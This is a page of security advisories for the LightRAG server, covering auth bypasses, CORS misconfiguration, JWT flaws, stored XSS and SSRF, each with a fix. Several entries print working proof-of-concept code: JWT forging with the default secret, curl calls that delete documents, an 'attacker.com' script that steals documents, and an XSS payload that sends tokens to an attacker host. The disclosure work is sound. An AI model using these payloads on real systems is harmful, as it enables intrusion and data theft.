Server filesystem paths. File-I/O errors from the default JSON storage backend expose the server's directory layout (e.g. [Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'), aiding path-traversal or targeted attacks. (Verified — see PoC Step 1.)
Database host / port / user / database name. Connection errors from the PostgreSQL, MongoDB, Redis, or Neo4j backends surface the target the driver was trying to reach — e.g. asyncpg raises password authentication failed for user "lightrag" (username) or a socket error naming the unreachable host and port. Note on credentials: the PostgreSQL backend uses asyncpg, which is built from keyword parameters and does not echo the password in its exception strings — so a raw asyncpg error leaks host/port/user/db, not the password. URI-configured backends behave differently: the MongoDB backend is built with AsyncMongoClient(MONGO_URI, ...), and a malformed-URI / configuration error from pymongo can surface the connection string itself, which may embed credentials (mongodb://user:password@host:port/). The leak surface is therefore backend- and error-type-dependent.
LLM provider error details. Errors from OpenAI / Gemini / Bedrock and other providers may include model names, organization ids, or partial API error context that reveal the deployment.
Python library internals. Unexpected exceptions expose class names, library-internal messages, and stack fragments that fingerprint the server stack and version.
Configuration details. Errors during configuration/parsing may reveal storage backend types and other configuration values.

The risk is amplified by the default unauthenticated configuration (CWE-306, companion report), which lets any network client trigger and read these errors without credentials.

PoC

Tested on a clean checkout with the [api] extras installed and the server run via lightrag-server.

Step 1 — Filesystem path disclosure (default JSON storage)

With the default storage backend, a file-permission error is returned verbatim:

# Make a storage file unreadable to force an I/O error.
chmod 000 ./rag_storage/default/kv_store_full_docs.json
curl -s http://localhost:9621/documents | python3 -m json.tool

Vulnerable response — the full server-side path is disclosed:

{
    "detail": "[Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'"
}

Step 2 — Database infrastructure disclosure (PostgreSQL backend)

Configure a PostgreSQL KV backend pointed at an unreachable / misconfigured host:

LIGHTRAG_KV_STORAGE=PGKVStorage
POSTGRES_HOST=nonexistent-host-12345.example.com
POSTGRES_PORT=5432
POSTGRES_USER=lightrag
POSTGRES_DATABASE=lightrag

A request that touches storage returns the raw connection error, disclosing the host / port / user the server is configured to reach (the asyncpg password is not echoed — see the credentials note above):

{
    "detail": "[Errno -2] Name or service not known"
}

For a URI-configured backend such as MongoDB (MONGO_URI=mongodb://user:pass@host:port/db), a malformed-URI / configuration error can instead surface the connection string itself, including any embedded credentials.

Impact

Error-message information exposure. A client able to reach the LightRAG server can extract:

Confidentiality (C:L): server filesystem paths, database host/port/user/db, LLM provider configuration hints, and Python stack internals from raw exception messages; for URI-configured backends, potentially the connection string (with embedded credentials).
Escalation risk: leaked hosts/paths aid follow-on attacks; a leaked connection URI could enable direct database access if the database is network-reachable.

When combined with the default unauthenticated configuration, any network client can trigger and read these responses without authentication, which is why this is scored PR:N.

Suggested remediation

Replace every detail=str(e) / detail=str(exc) pattern with a generic client message. Log the full exception server-side (message + traceback) and return only a generic message plus a correlation id:
```
except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {e!r}")
    raise HTTPException(status_code=500, detail="Internal server error")
```

Register a last-resort global handler as defense-in-depth so any exception that escapes a route is sanitized identically:

@app.exception_handler(Exception)
async def unhandled_exception_handler(request, exc):
    logger.error(f"Unhandled exception: {exc!r}", exc_info=True)
    return JSONResponse(status_code=500, content={"detail": "Internal server error"})

Preserve genuine client-input validation feedback. The two HTTP 422 chunking-config validators emit controlled, non-sensitive messages; keep them as 422 feedback rather than genericizing to 500 — but wrap the raw exception so it is never a bare passthrough.

Fix status: implemented in HKUDS/LightRAG#3422 — a shared internal_server_error() helper routes all 500 handlers through a generic body carrying a correlation id (full detail logged server-side), a global @app.exception_handler(Exception) is registered in create_app, and the two 422 validators are wrapped.

Credits

Thai Son Dinh from VinSOC Labs (R&D)
Nguyen Huy Vu Dung from VinSOC Labs (AppSec)

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-61740 PYSEC-2026-3475 GHSA-f4vv-55c2-5789 Jul 23, 2026

LightRAG is Vulnerable to Authentication Bypass: hardcoded DEFAULT_TOKEN_SECRET and public /auth-status defeat LIGHTRAG_API_KEY protection

Critical

Network Low None None

Summary

When LightRAG is deployed with LIGHTRAG_API_KEY set but AUTH_ACCOUNTS unset (an officially documented "API-Key authentication" mode), the X-API-Key protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server — an attacker can mint a valid guest JWT offline using the hardcoded DEFAULT_TOKEN_SECRET committed in the repository and then call any endpoint guarded by Depends(combined_auth), including destructive operations such as DELETE /documents, POST /documents/upload, /documents/clear_cache, and POST /query.

This is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the AUTH_ACCOUNTS-configured case. The API-Key-only deployment profile is still fully exploitable on current main (commit 157c331, v1.4.15).

Root cause

Three independent issues combine:

lightrag/api/config.py:54 ships a hardcoded default JWT secret:
```
DEFAULT_TOKEN_SECRET="lightr...key!"
```
lightrag/api/auth.py:28-38 falls back to DEFAULT_TOKEN_SECRET with only a warning log when AUTH_ACCOUNTS is not configured. The fix for CVE-2026-30762 only raises when AUTH_ACCOUNTS is set, so the API-key-only path is silently vulnerable.
lightrag/api/lightrag_server.py:1140-1186 exposes GET /auth-status and POST /login without any authentication dependency. In the API-key-only configuration, auth_handler.accounts is empty, and both endpoints unconditionally mint and return a signed guest JWT.
lightrag/api/utils_api.py:214-216 inside combined_dependency short-circuits authorization on any valid guest token when auth_configured is false, before reaching the X-API-Key check on line 237:
```
if not auth_configured and token_info.get("role") == "guest":
    return
```

Proof of concept (offline-minted token, zero server contact)

Tested against a clean install of commit 157c331 running locally with only LIGHTRAG_API_KEY=super-...ass configured.

$ python3 - <<'PY'
import jwt
from datetime import datetime, timedelta, timezone
print(jwt.encode(
    {"sub":"guest","role":"guest",
     "exp":datetime.now(timezone.utc)+timedelta(hours=24),
     "metadata":{"auth_mode":"disabled"}},
    "lightrag-jwt-default-secret-key!",
    algorithm="HS256"))
PY
eyJhbGci...

# Control — no creds: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" http://target:9876/documents
{"detail":"API Key required"}
HTTP 403

# Control — wrong API key: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" -H "X-API-Key: wrong-key" http://target:9876/documents
{"detail":"Invalid API Key"}
HTTP 403

# Bypass — offline-minted guest JWT: accepted
$ curl -s -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"statuses":{}}
HTTP 200

# Destructive confirmation — DELETE /documents with the same token
$ curl -s -X DELETE -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"status":"success","message":"All documents cleared successfully. Deleted 0 files."}
HTTP 200

The guest JWT also does not need to be minted offline — GET /auth-status hands one out to anyone, even when the server is started with LIGHTRAG_API_KEY set. Either path (offline or /auth-status) yields the same bypass.

Impact

Any LightRAG instance that is reachable on the network and configured with:

LIGHTRAG_API_KEY set (i.e. the operator believes the server is protected), and
AUTH_ACCOUNTS unset (i.e. they opted out of the password-based login flow)

is fully accessible to any anonymous caller. This configuration is documented as the "simple API-Key authentication" mode in docs/LightRAG-API-Server.md, so it is expected to be common in production. An attacker can:

Read and delete arbitrary documents (/documents, DELETE /documents)
Upload arbitrary documents and text for ingestion (/documents/upload, /documents/text, /documents/texts, /documents/file_batch, /documents/scan)
Clear LLM / embedding caches (/documents/clear_cache)
Inspect and mutate the knowledge graph (/graph/*)
Run arbitrary queries that will consume paid LLM / embedding credits (/query, /query/stream)

Because the server may be exposed behind corporate reverse proxies that trust LIGHTRAG_API_KEY, this also lets the attacker bypass perimeter authentication that the operator assumed was sufficient.

Suggested CVSS

7.5 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L (High). Unauthenticated, network-reachable, affects confidentiality and integrity of all ingested documents and knowledge graphs; availability impact via cache wipes and credit exhaustion.

Suggested fix

Any one of the following individually closes the primary vector; all three are recommended for defense in depth:

Remove the hardcoded fallback. Mirror the fix for CVE-2026-30762: refuse to start (or emit a randomly-generated ephemeral secret that is not exported) whenever TOKEN_SECRET is unset, regardless of AUTH_ACCOUNTS.
Gate /auth-status and /login when LIGHTRAG_API_KEY is set. Either require Depends(combined_auth) or stop minting guest tokens whenever api_key_configured is true.
Fix the short-circuit in combined_dependency. Do not accept guest tokens as authentication when api_key_configured is true; always require a valid X-API-Key header in that configuration.

Affected versions

main through commit 157c331 (2026-04-15)
Most recent release v1.4.15 and all prior releases that ship the API-Key-only code path

Prior art checked

GHSA-8ffj-4hx4-9pgf / CVE-2026-39413 — JWT alg:none. Unrelated.
GHSA-mcww-4hxq-hfr3 / CVE-2026-30762 — hardcoded JWT secret combined with AUTH_ACCOUNTS. Fixed by PR #2869, which explicitly does not cover the API-Key-only configuration.
Issues/PRs searched: "guest token bypass", "DEFAULT_TOKEN_SECRET", "hardcoded secret", "auth-status", "api key bypass". No prior report covering this vector.

Discovery

Found during an external security review of LightRAG's API authentication flow. Reporter can be credited publicly as "patchmyday (Jason Zhang)" upon disclosure.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-61736 PYSEC-2026-3474 GHSA-6x6h-qqr7-855w Jul 23, 2026

LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests

9.3 / 10

Critical

Network Low None Required Changed High High None

Summary

The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.

Details

# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*")  # default wildcard

# lightrag/api/lightrag_server.py:1379
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],       # any origin
    allow_credentials=True,   # credentials — PROBLEM with wildcard
    allow_methods=["*"],
    allow_headers=["*"],
)

# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True  → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true

PoC

Host on any origin. Open in browser where user is logged in to LightRAG:

<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
  // Get victim token (or re-use existing session)
  const r1 = await fetch(`${TARGET}/login`, {
    method: "POST", credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "username=victim&password=known_pass"
  });
  const { access_token } = await r1.json();

  // Exfiltrate all documents
  const docs = await (await fetch(`${TARGET}/documents`, {
    credentials: "include",
    headers: { Authorization: `Bearer ${access_token}` }
  })).json();
  console.log("STOLEN DOCS:", docs);
})();
</script>

Impact

Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-39413 PYSEC-2026-2592 GHSA-8ffj-4hx4-9pgf Jul 13, 2026

lightrag-hku: JWT Algorithm Confusion Vulnerability

4.2 / 10

Medium

Network High High Required Unchanged High None None

Summary

The LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the jwt.decode() call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access.

Details

In lightrag/api/auth.py at line 128, the validate_token method calls:

payload = jwt.decode(token, self.secret, algorithms=[self.algorithm])

This allows any algorithm listed in the token's header to be processed, including 'none'. The code does not explicitly specify that 'none' is not allowed, making it possible for an attacker to bypass authentication.

PoC

An attacker can generate a JWT with the following structure:

{
  "header": {
    "alg": "none",
    "typ": "JWT"
  },
  "payload": {
    "sub": "admin",
    "exp": 1700000000,
    "role": "admin"
  }
}

Then send a request like:

curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTcwMDAwMDAwMCwicm9sZSI6ImFkbWluIn0." http://localhost:8000/api/protected-endpoint

Impact

An attacker can impersonate any user, including administrators, by forging a JWT with 'alg': 'none', gaining full access to protected resources without needing valid credentials.

Recommended Fix

Explicitly specify allowed algorithms and exclude 'none'. Modify the validate_token method to:

allowed_algorithms = [self.algorithm] if self.algorithm != 'none' else ['HS256', 'HS384', 'HS512']
payload = jwt.decode(token, self.secret, algorithms=allowed_algorithms)

Or better yet, hardcode the expected algorithm(s):

payload = jwt.decode(token, self.secret, algorithms=['HS256'])

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 65 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.14

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-30762 PYSEC-2026-2593 GHSA-mcww-4hxq-hfr3 Jul 13, 2026

LightRAG: Hardcoded JWT Signing Secret Allows Authentication Bypass

7.5 / 10

High

Network Low None None Unchanged High None None

Subject: Security Vulnerability Report Hardcoded JWT Secret (CVE-2026-30762)

Hi HKUDS team,

I'm writing to report a security vulnerability I discovered in LightRAG v1.4.10. This has been assigned CVE-2026-30762 by MITRE.

Vulnerability: Hardcoded JWT signing secret Type: Improper Authentication (CWE-287) Severity: High Attack Vector: Remote / Unauthenticated

Summary: The file lightrag/api/config.py (line 397) uses a default JWT secret "lightrag-jwt-default-secret" when the TOKEN_SECRET environment variable is not set. The AuthHandler in lightrag/api/auth.py (lines 24-25) uses this secret to sign and verify tokens. An unauthenticated attacker can forge valid JWT tokens using the publicly known default secret and gain access to any protected endpoint.

Reproduction:

Install LightRAG v1.4.10 with AUTH_ACCOUNTS configured but no TOKEN_SECRET set
Use PyJWT to sign a token: jwt.encode({"sub": "admin", "role": "user"}, "lightrag-jwt-default-secret", algorithm="HS256")
Send a request to any protected endpoint with the header: Authorization: Bearer <forged_token>
Access is granted without valid credentials

Suggested Fix: Require TOKEN_SECRET to be explicitly set when AUTH_ACCOUNTS is configured. Refuse to start the API server if authentication is enabled but no custom secret is provided.

I'm following a 90-day responsible disclosure timeline from today's date. Please let me know if you have any questions or need additional information.

Best regards, Venkata Avinash Taduturi

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 64 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13rc1


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.13

References

Updated Jul 13, 2026 · Source: OSV.dev

Dec 23, 2025

1.4.9.9 patch

9 CVEs

CVE-2026-86062 PYSEC-2026-4065 GHSA-xpjq-3w4w-w5wr Oct 01, 2026

lightrag-hku: Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Summary

The LightRAG WebUI renders assistant/answer chat content as raw HTML — react-markdown is configured with rehypePlugins={[rehypeRaw]} and skipHtml={false} and no HTML sanitizer (rehype-sanitize), element allow-list, or custom urlTransform. Because answer content is derived from user-ingested documents, an attacker who can add a single document can store an HTML/JavaScript payload that executes in the browser of any user who later retrieves it (typically an administrator), leading to auth-token theft from localStorage and full API takeover. No authentication is required in the default configuration.

Details

Sink — lightrag_webui/src/components/retrieval/ChatMessage.tsx:

Main answer (MessageMarkdown, lines ~348-351) and thinking content (lines ~252-272) render with rehypePlugins={[rehypeRaw, …]} and skipHtml={false}. The components map (lines ~111-156) only restyles safe formatting tags (p, h1–h4, ul, ol, li, code); there is no rehype-sanitize, no allowedElements/disallowedElements, and no custom urlTransform.
Second sink: mermaid is initialized with securityLevel: 'loose' (line ~433) and the rendered SVG is injected via container.innerHTML = svg (line ~483) + bindFunctions(container). 'loose' disables mermaid's output sanitization, so a ```mermaid block in answer content (HTML label / click directive) is an additional script-execution path.
Hardening (not code execution): KaTeX is set with trust: true (lines ~261/~359). \href{javascript:…} is blocked by React 19, but \includegraphics{URL} renders a live remote <img src> (arbitrary external resource load from the victim's browser). Recommend trust: false.

Source → sink: POST /documents/text or POST /documents/upload stores the document → POST /query returns it (verbatim when only_need_context=true, lightrag/api/routers/query_routes.py:27; otherwise echoed by the LLM) → the response is streamed into assistantMessage.content (lightrag_webui/src/features/RetrievalView.tsx:340) → rendered by the sink above.

react-markdown's built-in defenses do NOT cover this: it sanitizes href/src URLs (so javascript: links are blocked) and React ignores string event handlers (so <img onerror> is dropped), but raw elements such as <iframe srcdoc="…"> and <svg><script> are rendered unchanged and execute.

PoC

Benign, local-only. Tested at commit f3378a3 (v1.5.5) with react@19, react-markdown@10.1.0, rehype-raw@7.0.0.

Fastest check (code review, ~10s): in ChatMessage.tsx, the <ReactMarkdown> that renders answers uses rehypePlugins={[rehypeRaw, …]} with skipHtml={false} and no rehype-sanitize / allow-list. Per react-markdown's own documentation, rehype-raw on untrusted input without rehype-sanitize allows HTML injection — that is the vulnerability.

Runnable proof (~2 min) — reproduces the exact renderer config and shows it execute in a browser:

mkdir xss-check && cd xss-check
npm init -y
npm install react@19 react-dom@19 react-markdown@10 rehype-raw@7
# save the script below as poc.mjs, then:
node poc.mjs
# open the generated poc.html in any browser (or headless):
#   msedge --headless=new --dump-dom "file:///ABS/PATH/poc.html"

poc.mjs:

import React from 'react';
import { renderToStaticMarkup } from 'react-dom/server';
import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';
import { writeFileSync } from 'fs';

// Stands in for an assistant answer built from an ingested document.
const answer =
  `<iframe srcdoc="<script>` +
  `var h=parent.document.createElement('h1');h.style.color='red';` +
  `h.textContent='XSS EXECUTED on '+(parent.document.domain||'this page');` +
  `parent.document.body.appendChild(h);parent.document.title='XSS-EXECUTED';` +
  `<\/script>"></iframe>`;

// EXACT options from ChatMessage.tsx (rehypeRaw + skipHtml:false, no sanitizer):
const body = renderToStaticMarkup(
  React.createElement(ReactMarkdown, { rehypePlugins: [rehypeRaw], skipHtml: false }, answer)
);
writeFileSync('poc.html', `<!doctype html><title>before-xss</title><body>${body}</body>`);
console.log(body);   // note the LIVE <iframe srcDoc="..."> — not HTML-escaped

Observed (verified in headless Chromium/Edge): the injected srcdoc script runs — the page title becomes XSS-EXECUTED and a red "XSS EXECUTED on this page" heading is appended to the document. This confirms attacker HTML in answer content executes. (Separately: <script>, <svg><script>, and <iframe srcdoc> survive rendering; <img onerror> and javascript: links are neutralized by React / react-markdown, so <iframe srcdoc> is the reliable vector.)

Illustrative end-to-end source path (in a live instance):

curl -X POST http://127.0.0.1:9621/documents/text \
  -H 'Content-Type: application/json' \
  -d '{"text":"<iframe srcdoc=\"&lt;script&gt;document.title=document.domain&lt;/script&gt;\"></iframe>","file_source":"note.md"}'

Then query the knowledge base from the WebUI (or POST /query with only_need_context=true); the stored payload renders and the benign marker script runs in the viewer's browser (the page title becomes the origin). A real attacker replaces the benign marker with fetch('//attacker/?t='+localStorage.getItem('LIGHTRAG-API-TOKEN')) to exfiltrate the victim's JWT (verified storage key) and impersonate them against the API.

Impact

Stored (persistent) cross-site scripting. Any user in the default no-auth deployment, or any authenticated low-privilege collaborator when auth is enabled, can plant a document whose content runs arbitrary JavaScript in the browser of every user who later retrieves it. Because LightRAG keeps the auth token in localStorage, the injected script can read it and drive the API as the victim (exfiltrate/modify/delete the knowledge base and graph, upload documents) — i.e. escalate to full account/instance takeover.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85740 PYSEC-2026-4064 GHSA-vv3m-f8x4-7377 Oct 01, 2026

lightrag-hku: SSRF via IPv6-transition address bypass (NAT64, IPv4-compatible, 6to4) of the native-markdown image-download guard

7.1 / 10

High

Network High Low None Changed High Low None

Summary

LightRAG's native markdown parser downloads external images referenced by an uploaded markdown or textpack document. The only SSRF guard, _validated_addresses() in lightrag/parser/markdown/parser.py, resolves the image host and rejects it when the resolved IP is not is_global. That check is evaluated on the raw resolved address and never decodes IPv6 transition wrappers that embed an internal IPv4. Python's ipaddress classifies a NAT64 (64:ff9b::/96 and the RFC 8215 64:ff9b:1::/48 prefix), IPv4-compatible (::a.b.c.d), or 6to4 (2002::/16) literal that wraps an internal IPv4 as globally routable, so the guard passes it. On a host with NAT64/DNS64 routing the request is then delivered to the embedded internal target (loopback, RFC1918, or a cloud metadata endpoint), and the fetched body is ingested. The plain and IPv4-mapped (::ffff:) forms of the same internal address are correctly blocked, so this is an encoding that defeats the existing filter.

Affected component and versions

Package: lightrag-hku (LightRAG), the native markdown image-download path.
Component: lightrag/parser/markdown/parser.py, guard _validated_addresses() (the if not (ip.is_global or ...) check), reached from _download() -> _build_guarded_opener().open(req).
Enabled by default: download_enabled = _env_bool("NATIVE_MD_IMAGE_DOWNLOAD_ENABLED", True).
Affected: LightRAG <= 1.5.4 (latest release at time of report, commit 9a45b64).
Precondition: the caller can upload a document (API key via Depends(combined_auth)); the host has NAT64/DNS64 routing for the encoded address to reach the internal endpoint.

Vulnerable code vs the guarded sibling

Evaluated on the exact resolved addresses (CPython ipaddress):

| Form | address | is_global | guard verdict | |---|---|---|---| | plain internal 127.0.0.1 | 127.0.0.1 | False | BLOCK (correct) | | IPv4-mapped | ::ffff:7f00:1 | False | BLOCK (correct) | | NAT64 64:ff9b::/96 | 64:ff9b::7f00:1 | True | PASS (bypass) | | NAT64 RFC8215 64:ff9b:1::/48 | 64:ff9b:1::7f00:1 | True | PASS (bypass) | | IPv4-compatible ::a.b.c.d | ::7f00:1 | True | PASS (bypass) | | 6to4 2002::/16 | 2002:7f00:1:: | True | PASS (bypass) |

The guard already blocks the plain and IPv4-mapped internal forms (the forms the author tested), proving the intent is to reject internal destinations; it never canonicalizes the other transition wrappers, so they pass.

Severity

High. CWE-918 (Server-Side Request Forgery). CVSS 3.1 vector AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N, base score 7.1. AC:H reflects the NAT64/DNS64 network precondition for end-to-end reach; PR:L because document upload requires the API key; S:C because the request pivots into an internal network segment; C:H for internal/metadata/secret disclosure.

Proof of concept (deployed, both directions, verbatim)

